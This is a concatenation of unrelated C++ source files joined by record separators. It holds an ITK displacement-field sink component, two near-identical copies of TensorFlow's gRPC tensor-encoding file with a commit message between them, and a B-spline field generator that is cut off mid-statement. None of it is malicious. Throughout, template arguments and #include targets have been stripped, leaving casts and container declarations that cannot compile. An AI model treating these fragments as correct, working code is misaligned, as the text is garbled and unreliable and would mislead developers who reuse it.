NetworkBuilderOutput to an image (data object) and stores the result.\n * The resulting output image will be grafted into when the sink component is connected to an other component.\n * *\/\n \/\/\n \/*\n this->m_NetworkBuilderOutputImage = dynamic_cast< ItkImageType * >(NetworkBuilderOutput.GetPointer());\n if (this->m_NetworkBuilderOutputImage == nullptr)\n {\n throw std::runtime_error(\"DisplacementFieldNiftiToItkImageSinkComponent cannot cast the NetworkBuilder's Output to the required type\");\n }\n this->m_MiniPipelineOutputImage = this->m_NetworkBuilderOutputImage;\n *\/\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename itk::DataObject::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetMiniPipelineOutput()\n{\n return this->m_MiniPipelineOutputImage.GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename AnyFileWriter::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetOutputFileWriter()\n{\n \/\/ Instanstiate an image file writer, decorated such that it can be implicitly cast to an AnyFileWriterType\n return DecoratedWriterType::New().GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename itk::DataObject::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetInitializedOutput()\n{\n return ItkDisplacementFieldType::New().GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Update()\n{\n auto displacementFieldNiftiImage = this->m_DisplacementFieldInterface->GetDisplacementFieldNiftiImage();\n \/\/ For some reason the displacement vectors in niftyreg have opposite sign than in itk. A quick fix is to set the slope from 1 to -1.\n \/\/ TODO: 1) NiftiToItkImage should handle this generically for displacement fields. 2) nifti images can have an intent_code = DISPVECT, which seem applicable here. However, the intent_code = VECTOR, currently.\n displacementFieldNiftiImage->scl_slope = -1;\n auto displacementFieldItkImage = NiftiToItkImage< ItkDisplacementFieldType, TPixel >::Convert( displacementFieldNiftiImage );\n this->m_MiniPipelineOutputImage->Graft( displacementFieldItkImage );\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nbool\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::MeetsCriterion( const ComponentBase::CriterionType & criterion )\n{\n bool hasUndefinedCriteria( false );\n bool meetsCriteria( false );\n auto status = CheckTemplateProperties( this->TemplateProperties(), criterion );\n if( status == CriterionStatus::Satisfied )\n {\n return true;\n }\n else if( status == CriterionStatus::Failed )\n {\n return false;\n } \/\/ else: CriterionStatus::Unknown\n\n return meetsCriteria;\n}\n} \/\/end namespace selx\n<|endoftext|>"} {"text":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_tensor_coding.h\"\n\n#include \"grpcpp\/support\/byte_buffer.h\"\n#include \"grpcpp\/support\/slice.h\"\n#include \"absl\/flags\/flag.h\"\n#include \"tensorflow\/core\/common_runtime\/dma_helper.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n#include \"tensorflow\/core\/framework\/tensor.pb.h\"\n#include \"tensorflow\/core\/framework\/tensor_reference.h\"\n#include \"tensorflow\/core\/framework\/tensor_shape.pb.h\"\n#include \"tensorflow\/core\/lib\/gtl\/inlined_vector.h\"\n#include \"tensorflow\/core\/lib\/io\/proto_encode_helper.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/protobuf\/worker.pb.h\"\n\n\/\/ (Omitted internal-only flag)\n\nnamespace tensorflow {\nnamespace grpc {\n\nvoid EncodeRecvTensorResponseToByteBuffer(const RecvTensorResponse& proto,\n ::grpc::ByteBuffer* result) {\n ::grpc::Slice slice(proto.ByteSizeLong());\n proto.SerializeWithCachedSizesToArray(\n const_cast(reinterpret_cast(slice.begin())));\n ::grpc::ByteBuffer tmp(&slice, 1);\n result->Swap(&tmp);\n}\n\n\/\/ We generate a RecvTensorResponse protocol buffer encoding into \"*result\",\n\/\/ but where possible, we share the underlying Tensor buffer for \"val\", to\n\/\/ avoid an extra copy.\n\/\/\n\/\/ We hand-encode the protocol buffer data in the following order, as follows:\n\/\/\n\/\/ Let R be a RecvTensorResponse object we want to encode, logically\n\/\/ constructed by filling in data from \"is_dead\" and \"val\" and filling\n\/\/ in a few other fields as well.\n\/\/\n\/\/ (Letters here are used in the code to refer back to which part of the\n\/\/ encoding the code is generating).\n\/\/\n\/\/ A: \n\/\/ B1: \n\/\/ B2: \n\/\/ C: \n\/\/ D1: \n\/\/ D2: \n\/\/ E: \n\/\/\n\/\/ If the tensor data is up to \"kLargeTensorBytes\", then A\n\/\/ through E will all be encoded into \"*result\" in a single grpc::Slice.\n\/\/\n\/\/ If the tensor data is larger than \"kLargeTensorBytes\", then A through\n\/\/ D2 will be encoded in one grpc::Slice, and E will be encoded in a second\n\/\/ grpc::Slice that points to the backing store for the tensor data, to avoid\n\/\/ copying the tensor data (and the grpc::Slice setup will be arrange so as\n\/\/ to dereference the underlying tensor data buffer when it is no longer\n\/\/ needed in the \"*result\" ByteBuffer).\nstatic int VarLengthEncodingSize(uint32 tag, size_t bytes) {\n return core::VarintLength(tag << 3) + core::VarintLength(bytes) + bytes;\n}\n\n\/\/ Returns an upper bound in bytes of the protocol buffer encoding of\n\/\/ the \"skeleton\" of \"val\" (all the data needed for dtype and the shape,\n\/\/ but not the actual contents of \"val\").\nstatic int SkeletonEncodingSizeUpperBound(const Tensor& val) {\n static const int kVarintMax64 = 10; \/\/ Max length of varint64 encoding\n const int ndims = val.shape().dims();\n return (2 * kVarintMax64) + \/\/ dtype\n (ndims * (4 * kVarintMax64)); \/\/ Shape: 4 varints per dim\n}\n\n\/\/ Encode the skeleton for \"val\" (the encoded TensorProto contents\n\/\/ (dtype and shape, but not the actual data) into \"*e\". The backing\n\/\/ store for \"*e\" must be of appropriate size to hold this encoding.\nstatic void EncodeSkeleton(const Tensor& val, io::ProtoEncodeHelper* e) {\n \/\/ Encode val.dtype()\n e->WriteUint64(TensorProto::kDtypeFieldNumber, val.dtype());\n\n \/\/ Compute length of val.shape() proto encoding\n const int ndims = val.shape().dims();\n int tensor_shape_bytes = 0;\n for (int d = 0; d < ndims; d++) {\n int64 dim_size = val.shape().dim_size(d);\n tensor_shape_bytes +=\n 2 + \/\/ TensorShapeProto dim tag + varintlength of submessage\n 1 + \/\/ TensorShapeProto_Dim::kSizeFieldNumber\n core::VarintLength(dim_size);\n }\n\n if (tensor_shape_bytes > 0) {\n e->WriteVarlengthBeginning(TensorProto::kTensorShapeFieldNumber,\n tensor_shape_bytes);\n \/\/ Encode val.shape()\n for (int d = 0; d < ndims; d++) {\n int64 dim_size = val.shape().dim_size(d);\n int64 dim_varlen = 1 + \/\/ TensorShapeProto_Dim::kSizeFieldNumber\n core::VarintLength(dim_size);\n e->WriteVarlengthBeginning(TensorShapeProto::kDimFieldNumber, dim_varlen);\n e->WriteUint64(TensorShapeProto_Dim::kSizeFieldNumber, dim_size);\n }\n }\n\n#ifndef NDEBUG\n {\n \/\/ Debug-mode only check to make sure the encoding above is\n \/\/ identical to the auto-generated protocol buffer encoding.\n TensorProto skeleton;\n skeleton.set_dtype(val.dtype());\n val.shape().AsProto(skeleton.mutable_tensor_shape());\n string tensor_except_contents; \/\/ tensor() field except contents\n skeleton.AppendToString(&tensor_except_contents);\n TensorProto skeleton2;\n skeleton2.ParseFromString(string(e->data(), e->size()));\n string out;\n skeleton.AppendToString(&out);\n DCHECK_EQ(tensor_except_contents, out) << skeleton.DebugString() << \" vs\\n\"\n << skeleton2.DebugString();\n }\n#endif\n}\n\nvoid EncodeTensorToByteBuffer(bool is_dead, const Tensor& val, bool require_ack,\n ::grpc::ByteBuffer* result) {\n const int kLargeTensorBytes = 1024;\n const int64 kProtoBufLimitBytes = 1LL << 31;\n\n if (val.TotalBytes() > kProtoBufLimitBytes) {\n size_t exceeded_bytes = val.TotalBytes() - kProtoBufLimitBytes;\n LOG(FATAL) << \"Cannot encode a Tensor that exceeds the 2GB protobuf limit. \"\n \"Exceeded bytes: \"\n << exceeded_bytes;\n }\n\n RecvTensorResponse response;\n if (is_dead) {\n response.set_is_dead(is_dead);\n }\n response.set_require_ack(require_ack);\n response.set_send_start_micros(Env::Default()->NowMicros());\n if (!DataTypeCanUseMemcpy(val.dtype())) {\n \/\/ Straightforward but slow path for complicated kinds of tensor data\n \/\/ TODO(jeff,sanjay): If this becomes an issue, we could\n \/\/ go directly from val -> ByteBuffer, with some effort.\n val.AsProtoTensorContent(response.mutable_tensor());\n\n \/\/ Encode full protocol buffer to a ByteBuffer\n EncodeRecvTensorResponseToByteBuffer(response, result);\n } else {\n \/\/ skeleton is the encoded TensorProto contents (dtype and shape), but\n \/\/ not the actual data\n gtl::InlinedVector skeleton(SkeletonEncodingSizeUpperBound(val));\n io::ProtoEncodeHelper e_skeleton(skeleton.data(), skeleton.size());\n EncodeSkeleton(val, &e_skeleton);\n\n StringPiece tdata = val.tensor_data();\n uint32 overall_tensor_proto_bytesize =\n (e_skeleton.size() +\n VarLengthEncodingSize(TensorProto::kTensorContentFieldNumber,\n tdata.size()));\n string header; \/\/ All of RecvTensorResponse except the tensor() field\n response.AppendToString(&header);\n\n size_t expected_size =\n (header.size() +\n VarLengthEncodingSize(RecvTensorResponse::kTensorFieldNumber,\n overall_tensor_proto_bytesize));\n \/\/ If \"share_tensor_slice_memory == false\", we copy the tensor data to\n \/\/ the end of the buffer we are preparing that holds the rest of the\n \/\/ RecvTensorResponse protocol buffer.\n \/\/\n \/\/ If \"share_tensor_slice_memory == true\", we arrange to share the\n \/\/ backing store of the data by creating a slice that also points to the\n \/\/ backing store, with appropriate reference counts to keep the\n \/\/ backing store alive as needed.\n \/\/\n \/\/ We enable this behavior if the tensor is large.\n bool share_tensor_slice_memory = (tdata.size() > kLargeTensorBytes);\n\n \/\/ (Omitted internal-only conditional)\n\n size_t encoder_size = expected_size - tdata.size();\n\n \/\/ Encode all but the actual \"tdata\", but including the tag and\n \/\/ varlength header for the \"tdata\"\n gtl::InlinedVector space(encoder_size);\n io::ProtoEncodeHelper e(space.data(), space.size());\n \/\/ (A)\n e.WriteRawBytes(header);\n\n \/\/ (B1) & (B2)\n e.WriteVarlengthBeginning(RecvTensorResponse::kTensorFieldNumber,\n overall_tensor_proto_bytesize);\n \/\/ (C)\n e.WriteRawBytes(StringPiece(e_skeleton.data(), e_skeleton.size()));\n \/\/ (D1) & (D2)\n e.WriteVarlengthBeginning(TensorProto::kTensorContentFieldNumber,\n tdata.size());\n\n \/\/ All but the tensor backing store are serialized now\n\n \/\/ Now allocate memory and put into the ByteBuffer\n ::grpc::Slice slices[2];\n int num_slices = 0;\n {\n size_t slice_len =\n e.size() + (share_tensor_slice_memory ? 0 : tdata.size());\n slices[0] = ::grpc::Slice(slice_len);\n memcpy(const_cast(slices[0].begin()), e.data(), e.size());\n if (!share_tensor_slice_memory) {\n \/\/ (E)\n memcpy(const_cast(slices[0].begin()) + e.size(), tdata.data(),\n tdata.size());\n }\n num_slices += 1;\n }\n\n if (share_tensor_slice_memory) {\n \/\/ (E) Encode tensor data, but by sharing backing store\n const TensorBuffer* buf = DMAHelper::buffer(&val);\n buf->Ref();\n slices[1] = ::grpc::Slice(\n const_cast(static_cast(tdata.data())),\n tdata.size(),\n [](void* backing) { static_cast(backing)->Unref(); },\n const_cast(buf));\n num_slices += 1;\n }\n size_t total_bytes = 0;\n for (int i = 0; i < num_slices; i++) {\n total_bytes += slices[i].size();\n }\n CHECK_EQ(total_bytes, expected_size);\n\n ::grpc::ByteBuffer tmp(&slices[0], num_slices);\n result->Swap(&tmp);\n }\n}\n\n} \/\/ namespace grpc\n} \/\/ namespace tensorflow\nRemove unused flag\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/core\/distributed_runtime\/rpc\/grpc_tensor_coding.h\"\n\n#include \"grpcpp\/support\/byte_buffer.h\"\n#include \"grpcpp\/support\/slice.h\"\n#include \"tensorflow\/core\/common_runtime\/dma_helper.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n#include \"tensorflow\/core\/framework\/tensor.pb.h\"\n#include \"tensorflow\/core\/framework\/tensor_reference.h\"\n#include \"tensorflow\/core\/framework\/tensor_shape.pb.h\"\n#include \"tensorflow\/core\/lib\/gtl\/inlined_vector.h\"\n#include \"tensorflow\/core\/lib\/io\/proto_encode_helper.h\"\n#include \"tensorflow\/core\/platform\/env.h\"\n#include \"tensorflow\/core\/protobuf\/worker.pb.h\"\n\nnamespace tensorflow {\nnamespace grpc {\n\nvoid EncodeRecvTensorResponseToByteBuffer(const RecvTensorResponse& proto,\n ::grpc::ByteBuffer* result) {\n ::grpc::Slice slice(proto.ByteSizeLong());\n proto.SerializeWithCachedSizesToArray(\n const_cast(reinterpret_cast(slice.begin())));\n ::grpc::ByteBuffer tmp(&slice, 1);\n result->Swap(&tmp);\n}\n\n\/\/ We generate a RecvTensorResponse protocol buffer encoding into \"*result\",\n\/\/ but where possible, we share the underlying Tensor buffer for \"val\", to\n\/\/ avoid an extra copy.\n\/\/\n\/\/ We hand-encode the protocol buffer data in the following order, as follows:\n\/\/\n\/\/ Let R be a RecvTensorResponse object we want to encode, logically\n\/\/ constructed by filling in data from \"is_dead\" and \"val\" and filling\n\/\/ in a few other fields as well.\n\/\/\n\/\/ (Letters here are used in the code to refer back to which part of the\n\/\/ encoding the code is generating).\n\/\/\n\/\/ A: \n\/\/ B1: \n\/\/ B2: \n\/\/ C: \n\/\/ D1: \n\/\/ D2: \n\/\/ E: \n\/\/\n\/\/ If the tensor data is up to \"kLargeTensorBytes\", then A\n\/\/ through E will all be encoded into \"*result\" in a single grpc::Slice.\n\/\/\n\/\/ If the tensor data is larger than \"kLargeTensorBytes\", then A through\n\/\/ D2 will be encoded in one grpc::Slice, and E will be encoded in a second\n\/\/ grpc::Slice that points to the backing store for the tensor data, to avoid\n\/\/ copying the tensor data (and the grpc::Slice setup will be arrange so as\n\/\/ to dereference the underlying tensor data buffer when it is no longer\n\/\/ needed in the \"*result\" ByteBuffer).\nstatic int VarLengthEncodingSize(uint32 tag, size_t bytes) {\n return core::VarintLength(tag << 3) + core::VarintLength(bytes) + bytes;\n}\n\n\/\/ Returns an upper bound in bytes of the protocol buffer encoding of\n\/\/ the \"skeleton\" of \"val\" (all the data needed for dtype and the shape,\n\/\/ but not the actual contents of \"val\").\nstatic int SkeletonEncodingSizeUpperBound(const Tensor& val) {\n static const int kVarintMax64 = 10; \/\/ Max length of varint64 encoding\n const int ndims = val.shape().dims();\n return (2 * kVarintMax64) + \/\/ dtype\n (ndims * (4 * kVarintMax64)); \/\/ Shape: 4 varints per dim\n}\n\n\/\/ Encode the skeleton for \"val\" (the encoded TensorProto contents\n\/\/ (dtype and shape, but not the actual data) into \"*e\". The backing\n\/\/ store for \"*e\" must be of appropriate size to hold this encoding.\nstatic void EncodeSkeleton(const Tensor& val, io::ProtoEncodeHelper* e) {\n \/\/ Encode val.dtype()\n e->WriteUint64(TensorProto::kDtypeFieldNumber, val.dtype());\n\n \/\/ Compute length of val.shape() proto encoding\n const int ndims = val.shape().dims();\n int tensor_shape_bytes = 0;\n for (int d = 0; d < ndims; d++) {\n int64 dim_size = val.shape().dim_size(d);\n tensor_shape_bytes +=\n 2 + \/\/ TensorShapeProto dim tag + varintlength of submessage\n 1 + \/\/ TensorShapeProto_Dim::kSizeFieldNumber\n core::VarintLength(dim_size);\n }\n\n if (tensor_shape_bytes > 0) {\n e->WriteVarlengthBeginning(TensorProto::kTensorShapeFieldNumber,\n tensor_shape_bytes);\n \/\/ Encode val.shape()\n for (int d = 0; d < ndims; d++) {\n int64 dim_size = val.shape().dim_size(d);\n int64 dim_varlen = 1 + \/\/ TensorShapeProto_Dim::kSizeFieldNumber\n core::VarintLength(dim_size);\n e->WriteVarlengthBeginning(TensorShapeProto::kDimFieldNumber, dim_varlen);\n e->WriteUint64(TensorShapeProto_Dim::kSizeFieldNumber, dim_size);\n }\n }\n\n#ifndef NDEBUG\n {\n \/\/ Debug-mode only check to make sure the encoding above is\n \/\/ identical to the auto-generated protocol buffer encoding.\n TensorProto skeleton;\n skeleton.set_dtype(val.dtype());\n val.shape().AsProto(skeleton.mutable_tensor_shape());\n string tensor_except_contents; \/\/ tensor() field except contents\n skeleton.AppendToString(&tensor_except_contents);\n TensorProto skeleton2;\n skeleton2.ParseFromString(string(e->data(), e->size()));\n string out;\n skeleton.AppendToString(&out);\n DCHECK_EQ(tensor_except_contents, out) << skeleton.DebugString() << \" vs\\n\"\n << skeleton2.DebugString();\n }\n#endif\n}\n\nvoid EncodeTensorToByteBuffer(bool is_dead, const Tensor& val, bool require_ack,\n ::grpc::ByteBuffer* result) {\n const int kLargeTensorBytes = 1024;\n const int64 kProtoBufLimitBytes = 1LL << 31;\n\n if (val.TotalBytes() > kProtoBufLimitBytes) {\n size_t exceeded_bytes = val.TotalBytes() - kProtoBufLimitBytes;\n LOG(FATAL) << \"Cannot encode a Tensor that exceeds the 2GB protobuf limit. \"\n \"Exceeded bytes: \"\n << exceeded_bytes;\n }\n\n RecvTensorResponse response;\n if (is_dead) {\n response.set_is_dead(is_dead);\n }\n response.set_require_ack(require_ack);\n response.set_send_start_micros(Env::Default()->NowMicros());\n if (!DataTypeCanUseMemcpy(val.dtype())) {\n \/\/ Straightforward but slow path for complicated kinds of tensor data\n \/\/ TODO(jeff,sanjay): If this becomes an issue, we could\n \/\/ go directly from val -> ByteBuffer, with some effort.\n val.AsProtoTensorContent(response.mutable_tensor());\n\n \/\/ Encode full protocol buffer to a ByteBuffer\n EncodeRecvTensorResponseToByteBuffer(response, result);\n } else {\n \/\/ skeleton is the encoded TensorProto contents (dtype and shape), but\n \/\/ not the actual data\n gtl::InlinedVector skeleton(SkeletonEncodingSizeUpperBound(val));\n io::ProtoEncodeHelper e_skeleton(skeleton.data(), skeleton.size());\n EncodeSkeleton(val, &e_skeleton);\n\n StringPiece tdata = val.tensor_data();\n uint32 overall_tensor_proto_bytesize =\n (e_skeleton.size() +\n VarLengthEncodingSize(TensorProto::kTensorContentFieldNumber,\n tdata.size()));\n string header; \/\/ All of RecvTensorResponse except the tensor() field\n response.AppendToString(&header);\n\n size_t expected_size =\n (header.size() +\n VarLengthEncodingSize(RecvTensorResponse::kTensorFieldNumber,\n overall_tensor_proto_bytesize));\n \/\/ If \"share_tensor_slice_memory == false\", we copy the tensor data to\n \/\/ the end of the buffer we are preparing that holds the rest of the\n \/\/ RecvTensorResponse protocol buffer.\n \/\/\n \/\/ If \"share_tensor_slice_memory == true\", we arrange to share the\n \/\/ backing store of the data by creating a slice that also points to the\n \/\/ backing store, with appropriate reference counts to keep the\n \/\/ backing store alive as needed.\n \/\/\n \/\/ We enable this behavior if the tensor is large.\n bool share_tensor_slice_memory = (tdata.size() > kLargeTensorBytes);\n\n size_t encoder_size = expected_size - tdata.size();\n\n \/\/ Encode all but the actual \"tdata\", but including the tag and\n \/\/ varlength header for the \"tdata\"\n gtl::InlinedVector space(encoder_size);\n io::ProtoEncodeHelper e(space.data(), space.size());\n \/\/ (A)\n e.WriteRawBytes(header);\n\n \/\/ (B1) & (B2)\n e.WriteVarlengthBeginning(RecvTensorResponse::kTensorFieldNumber,\n overall_tensor_proto_bytesize);\n \/\/ (C)\n e.WriteRawBytes(StringPiece(e_skeleton.data(), e_skeleton.size()));\n \/\/ (D1) & (D2)\n e.WriteVarlengthBeginning(TensorProto::kTensorContentFieldNumber,\n tdata.size());\n\n \/\/ All but the tensor backing store are serialized now\n\n \/\/ Now allocate memory and put into the ByteBuffer\n ::grpc::Slice slices[2];\n int num_slices = 0;\n {\n size_t slice_len =\n e.size() + (share_tensor_slice_memory ? 0 : tdata.size());\n slices[0] = ::grpc::Slice(slice_len);\n memcpy(const_cast(slices[0].begin()), e.data(), e.size());\n if (!share_tensor_slice_memory) {\n \/\/ (E)\n memcpy(const_cast(slices[0].begin()) + e.size(), tdata.data(),\n tdata.size());\n }\n num_slices += 1;\n }\n\n if (share_tensor_slice_memory) {\n \/\/ (E) Encode tensor data, but by sharing backing store\n const TensorBuffer* buf = DMAHelper::buffer(&val);\n buf->Ref();\n slices[1] = ::grpc::Slice(\n const_cast(static_cast(tdata.data())),\n tdata.size(),\n [](void* backing) { static_cast(backing)->Unref(); },\n const_cast(buf));\n num_slices += 1;\n }\n size_t total_bytes = 0;\n for (int i = 0; i < num_slices; i++) {\n total_bytes += slices[i].size();\n }\n CHECK_EQ(total_bytes, expected_size);\n\n ::grpc::ByteBuffer tmp(&slices[0], num_slices);\n result->Swap(&tmp);\n }\n}\n\n} \/\/ namespace grpc\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"\/\/ --------------------------------------------------------------------------------------\n\/\/ File: bspline_field.cxx\n\/\/ Date: Mar 5, 2014\n\/\/ Author: code@oscaresteban.es (Oscar Esteban)\n\/\/ Version: 1.0 beta\n\/\/ License: GPLv3 - 29 June 2007\n\/\/ Short Summary:\n\/\/ --------------------------------------------------------------------------------------\n\/\/\n\n#include \"bspline_field.h\"\n\n#include \n#include \n#include \n\n\nint main(int argc, char *argv[]) {\n\tstd::string outPrefix = \"\";\n\tstd::string maskfile;\n\tstd::vector< std::string > fixedImageNames, movingSurfaceNames,coefficientImageNames;\n\tstd::vector grid_size;\n\n\tbpo::options_description all_desc(\"Usage\");\n\tall_desc.add_options()\n\t\t\t(\"help,h\", \"show help message\")\n\t\t\t(\"coeff-images,C\", bpo::value < std::vector > (&coefficientImageNames )->multitoken(), \"coefficient image(s)\" )\n\t\t\t(\"images,I\", bpo::value < std::vector\t> (&fixedImageNames)->multitoken()->required(), \"fixed image file\")\n\t\t\t(\"surfaces,S\", bpo::value < std::vector\t> (&movingSurfaceNames)->multitoken(),\t\"moving image file\")\n\t\t\t(\"mask,M\", bpo::value< std::string >(&maskfile), \"mask file\" )\n\t\t\t(\"output-prefix,o\", bpo::value < std::string > (&outPrefix), \"prefix for output files\")\n\t\t\t(\"num-threads\", bpo::value < unsigned int >()->default_value(NUM_THREADS), \"use num-threads\")\n\t\t\t(\"grid-size,g\", bpo::value< std::vector >(&grid_size)->multitoken(), \"size of grid of bspline control points (default is 10x10x10)\")\n\t\t\t(\"mask-inputs\", bpo::bool_switch(), \"use deformed mask to filter input files\");\n\n\tbpo::variables_map vm;\n\tbpo::store(\tbpo::parse_command_line( argc, argv, all_desc ), vm);\n\tbpo::notify(vm);\n\n\tif (vm.count(\"help\") || vm.size() == 0 ) {\n\t\tstd::cout << all_desc << std::endl;\n\t\treturn 1;\n\t}\n\n\tReaderPointer readref = ReaderType::New();\n\treadref->SetFileName( fixedImageNames[0] );\n\treadref->Update();\n\tChannelPointer ref = readref->GetOutput();\n\ttypename ChannelType::DirectionType ref_dir(ref->GetDirection());\n\ttypename ChannelType::PointType ref_orig = ref->GetOrigin();\n\n\ttypename ChannelType::DirectionType itk;\n\titk.SetIdentity();\n\titk(0,0)=-1.0;\n\titk(1,1)=-1.0;\n\n\ttypename ChannelType::DirectionType int_dir(itk * ref_dir);\n\ttypename ChannelType::PointType int_orig( itk * ref_orig );\n\tref->SetDirection( int_dir );\n\tref->SetOrigin( int_orig );\n\n\ttypename CoefficientsType::SizeType size;\n\ttypename CoefficientsType::SpacingType spacing;\n\n\tsize.Fill(10);\n\tCoefficientsImageArray coeffs;\n\n\tTPointer transform = Transform::New();\n\n#ifndef NDEBUG\n\ttransform->SetNumberOfThreads( 2 );\n#endif\n\n\tif (vm.count(\"coeff-images\")) {\n\t\tstd::cout << \"coefficient images mode not implemented\" << std::endl;\n\t\t\/\/ set size\n\t\treturn 0;\n\t} else {\n\t\tif( vm.count(\"grid-size\") ){\n\t\t\tif( grid_size.size() == 1 ) {\n\t\t\t\tsize.Fill( grid_size[0] );\n\t\t\t}\n\t\t\telse if ( grid_size.size() == DIMENSION ) {\n\t\t\t\tfor( size_t i = 0; i < DIMENSION; i++) size[i] = grid_size[i];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tstd::cout << \"error with grid size\" << std::endl;\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\n\t\ttransform->SetControlPointsSize( size );\n\t\ttransform->SetPhysicalDomainInformation( ref );\n\t\ttransform->SetOutputReference( ref );\n\t\ttransform->UpdateField();\n\t\tcoeffs = transform->GetCoefficientsImages();\n\t\tspacing = coeffs[0]->GetSpacing();\n\t\tsize_t numPix = coeffs[0]->GetLargestPossibleRegion().GetNumberOfPixels();\n\n\t\ttypename CoefficientsType::RegionType region;\n\t\ttypename CoefficientsType::IndexType start;\n\t\ttypename CoefficientsType::SizeType regionSize;\n\n\t\tfor( size_t i = 0; i( floor( size[i] * 0.35 + 0.5f ) ) -1;\n\t\t\tregionSize[i] = size[i] - 2.0 * start[i];\n\t\t}\n\t\tregion.SetIndex( start );\n\t\tregion.SetSize( regionSize );\n\n\t\tfor( size_t i = 0; i< DIMENSION; i++) {\n\t\t\tRandomIterator rndit( coeffs[i], region );\n#ifdef NDEBUG\n\t\t\trndit.ReinitializeSeed();\n#endif\n\t\t\trndit.SetNumberOfSamples( static_cast( floor( numPix * 0.08 + 0.5f ) ) );\n\n\t\t\tfor(rndit.GoToBegin(); !rndit.IsAtEnd(); ++rndit){\n\t\t\t\tfloat r = -1.0 + static_cast (rand()) \/( static_cast (RAND_MAX\/2.0));\n\t\t\t\trndit.Set( r );\n\t\t\t}\n\n\t\t\tSigmaArrayType sigma;\n\t\t\tsigma.Fill(12.0);\n\n\t\t\tSmoothingFilterPointer s = SmoothingFilterType::New();\n\t\t\ts->SetInput( coeffs[i] );\n\t\t\ts->SetSigmaArray( sigma );\n\t\t\ts->Update();\n\t\t\tcoeffs[i] = s->GetOutput();\n\n\t\t\tScalarType *buff = coeffs[i]->GetBufferPointer();\n\t\t\tstd::vector< ScalarType > sample;\n\n\t\t\tfor( size_t j = 0; j < numPix; j++ ) {\n\t\t\t\tsample.push_back( *(buff + j) );\n\t\t\t}\n\n\t\t\tstd::sort( sample.begin(), sample.end() );\n\n\t\t\tSubtractPointer sub = SubtractFilter::New();\n\t\t\tsub->SetInput1( coeffs[i] );\n\t\t\tsub->SetConstant( sample[ static_cast( floor( 0.5 * numPix + 0.5f ) ) ] );\n\t\t\tsub->Update();\n\t\t\tcoeffs[i] = sub->GetOutput();\n\n\t\t\tMaxCalcPointer max = MaxCalc::New();\n\t\t\tmax->SetImage( coeffs[i] );\n\t\t\tmax->Compute();\n\n\t\t\tfloat immax = max->GetMaximum();\n\t\t\tif ( fabs( max->GetMinimum() ) > fabs(immax) ) {\n\t\t\t\timmax = fabs( max->GetMinimum() );\n\t\t\t}\n\n\t\t\tfloat scale = (spacing[i] * 0.35) \/ immax;\n\n\t\t\tMultiplyPointer m = MultiplyFilter::New();\n\t\t\tm->SetInput1( coeffs[i] );\n\t\t\tm->SetConstant( scale );\n\t\t\tm->Update();\n\t\t\tcoeffs[i] = m->GetOutput();\n\n\t\t\tCoefficientsWriterPointer w = CoefficientsWriterType::New();\n\t\t\tstd::stringstream ss;\n\t\t\tss << outPrefix << \"_coeffs_\" << i << \".nii.gz\";\n\t\t\tw->SetFileName( ss.str().c_str() );\n\t\t\tw->SetInput( coeffs[i] );\n\t\t\tw->Update();\n\t\t}\n\t}\n\n\t\/\/ Set coefficients\n\ttransform->SetCoefficientsImages( coeffs );\n\ttransform->UpdateField();\n\n\ttypename ComponentsWriter::Pointer f = ComponentsWriter::New();\n\tstd::stringstream ss;\n\tss << outPrefix << \"_field\";\n\tf->SetFileName( ss.str().c_str() );\n\tf->SetInput( transform->GetField() );\n\tf->Update();\n\n\n\ttransform->Interpolate();\n\n\n\ttypename FieldType::Pointer field = transform->GetDisplacementField();\n\ttypename FieldWriter::Pointer ff = FieldWriter::New();\n\tff->SetInput( field );\n\tff->SetFileName( (outPrefix + \"_dispfield.nii.gz\").c_str() );\n\tff->Update();\n\n\t\/\/ Read and transform mask, if present\n\tMaskPointer mask;\n\n\tif (vm.count( \"mask\" ) ) {\n\t\ttypename ReaderType::Pointer rmask = ReaderType::New();\n\t\trmask->SetFileName( maskfile );\n\t\trmask->Update();\n\n\t\ttypename ChannelType::Pointer im = rmask->GetOutput();\n\t\tim->SetDirection( int_dir );\n\t\tim->SetOrigin( int_orig );\n\n\t\ttypename Binarize::Pointer bin = Binarize::New();\n\t\tbin->SetInput( im );\n\t\tbin->SetLowerThreshold( 0.01 );\n\t\tbin->SetOutsideValue( 0 );\n\t\tbin->SetInsideValue( 1 );\n\t\tbin->Update();\n\n\t\tWarpMaskFilterPointer wrp = WarpMaskFilter::New();\n\t\twrp->SetInterpolator( WarpMaskInterpolator::New() );\n\t\twrp->SetOutputParametersFromImage( bin->GetOutput() );\n\t\twrp->SetInput( bin->GetOutput() 